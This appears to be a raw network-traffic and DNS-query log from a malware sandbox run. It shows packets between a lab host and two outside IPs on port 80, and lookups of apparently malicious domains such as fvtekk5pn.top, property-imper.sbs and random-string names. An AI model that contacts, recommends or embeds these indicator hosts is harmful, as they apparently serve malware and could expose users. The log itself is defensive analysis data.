Nov 24, 2024 12:24:30.290186882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.290309906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.290360928 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.291202068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.291248083 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.291301966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.292321920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.292371035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.292443037 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.293425083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.293473959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.293529034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.293570995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.294504881 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.294680119 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.294723034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.295650959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.295754910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.295800924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.296714067 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.296890020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.296933889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.297827005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.297955990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.298000097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.298929930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.298976898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.299026966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.300103903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.300153017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.300158024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.300781012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.301173925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.301239014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.301284075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.302259922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.302551985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.302598000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.303378105 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.303407907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.303419113 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.303445101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.304477930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.304608107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.304656029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.305579901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.305757999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.305803061 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.306694031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.306746960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.306792974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.307775974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.307818890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.308003902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.308443069 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.308875084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.309057951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.309102058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.310024023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.310159922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.310205936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.311089039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.311137915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.311206102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.312482119 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.320987940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321075916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321091890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321132898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321144104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321161032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321166992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321185112 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321192026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321202993 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321207047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321225882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321230888 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321234941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321248055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321264029 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321270943 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321279049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321280956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321299076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321301937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321315050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321315050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321343899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321347952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321355104 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321365118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321382046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321383953 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321398973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321403027 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321417093 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321417093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.321443081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.321455956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.322527885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.322577000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.322695017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.322740078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.325615883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.325680017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.325695992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.325723886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.325748920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.325829029 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.325845957 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.325861931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.325889111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.325911999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.326582909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.326709032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.326752901 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.327692032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.327819109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.327864885 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.328788996 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.328896046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.328941107 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.329984903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.330029011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.330060959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.331018925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.331089020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.331118107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.332165956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.332211018 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.332257032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.332300901 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.333281040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.333441973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.333489895 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.334407091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.334613085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.334661961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.335465908 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.335510969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.335577965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.336445093 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.336487055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.336529970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.385499001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.385560036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.385636091 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.385823965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.385966063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.386132002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.386614084 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.386742115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.386790991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.387459993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.387567997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.387618065 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.388305902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.388376951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.388439894 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.389029980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.389174938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.389225960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.389844894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.389983892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.390032053 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.390640974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.390763998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.390808105 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.391462088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.391493082 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.391534090 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.392271996 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.392364979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.392429113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.393063068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.393217087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.393268108 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.393896103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.394031048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.394696951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.394753933 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.394756079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.395488977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.395550966 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.395597935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.396276951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.396334887 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.396421909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.397088051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.397172928 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.397181988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.397449017 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.397897959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.397979975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.398080111 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.398698092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.398821115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.398859978 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.399522066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.399602890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.399657965 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.400347948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.400388956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.400459051 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.401181936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.401397943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.401446104 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.402030945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.402127981 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.402179003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.402750969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.402890921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.402945995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.403547049 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.403601885 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.403640032 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.404361963 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.404519081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.404659033 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.405193090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.405267000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.405394077 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.405993938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.406107903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.406166077 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.406779051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.406876087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.406918049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.407598972 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.407646894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.407761097 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.408397913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.408516884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.408675909 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.409218073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.409368038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.409410954 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.410032034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.410159111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.410209894 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.411098957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.411158085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.412003040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.412058115 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.412133932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.412630081 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.412659883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.412748098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.412791967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.413352013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.413480997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.413531065 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.414165020 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.414218903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.414268017 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.415069103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.415210009 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.415329933 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.415884018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.415932894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.416011095 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.416531086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.416696072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.417027950 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.417269945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.417402983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.417445898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.418062925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.418118000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.418358088 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.418888092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.419087887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.419164896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.419672012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.419783115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.419831038 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.420480013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.420612097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.420669079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.421325922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.421418905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.421468019 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.422090054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.475275993 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.475717068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.475769043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.475856066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.475907087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.476197004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.476299047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.476324081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.476336956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.477385998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.477440119 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.477487087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.477540970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.478483915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.478533030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.478698015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.478744984 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.479549885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.479599953 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.479767084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.479813099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.480618954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.480684042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.480732918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.480796099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.481751919 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.481795073 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.481882095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.481925964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.482856035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.482908010 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.483005047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.483072042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.483952045 CET	80	49793	31.41.244.11	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 12:24:21.301589012 CET	192.168.2.4	1.1.1.1	0x9759	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:21.301695108 CET	192.168.2.4	1.1.1.1	0x6a44	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 12:24:37.236582041 CET	192.168.2.4	1.1.1.1	0x8def	Standard query (0)	aXoOEZERyLjmcASXxTaZGLMxwNjgk.aXoOEZERyLjmcASXxTaZGLMxwNjgk	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:48.495942116 CET	192.168.2.4	1.1.1.1	0x979e	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:48.496001959 CET	192.168.2.4	1.1.1.1	0x2f4e	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 12:24:50.612812996 CET	192.168.2.4	1.1.1.1	0x2ea	Standard query (0)	aXoOEZERyLjmcASXxTaZGLMxwNjgk.aXoOEZERyLjmcASXxTaZGLMxwNjgk	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:52.008388042 CET	192.168.2.4	1.1.1.1	0x3637	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:52.107341051 CET	192.168.2.4	1.1.1.1	0x1de9	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:52.107341051 CET	192.168.2.4	1.1.1.1	0xed3a	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 12:24:58.578268051 CET	192.168.2.4	1.1.1.1	0x8603	Standard query (0)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	A (IP address)	IN (0x0001)	false
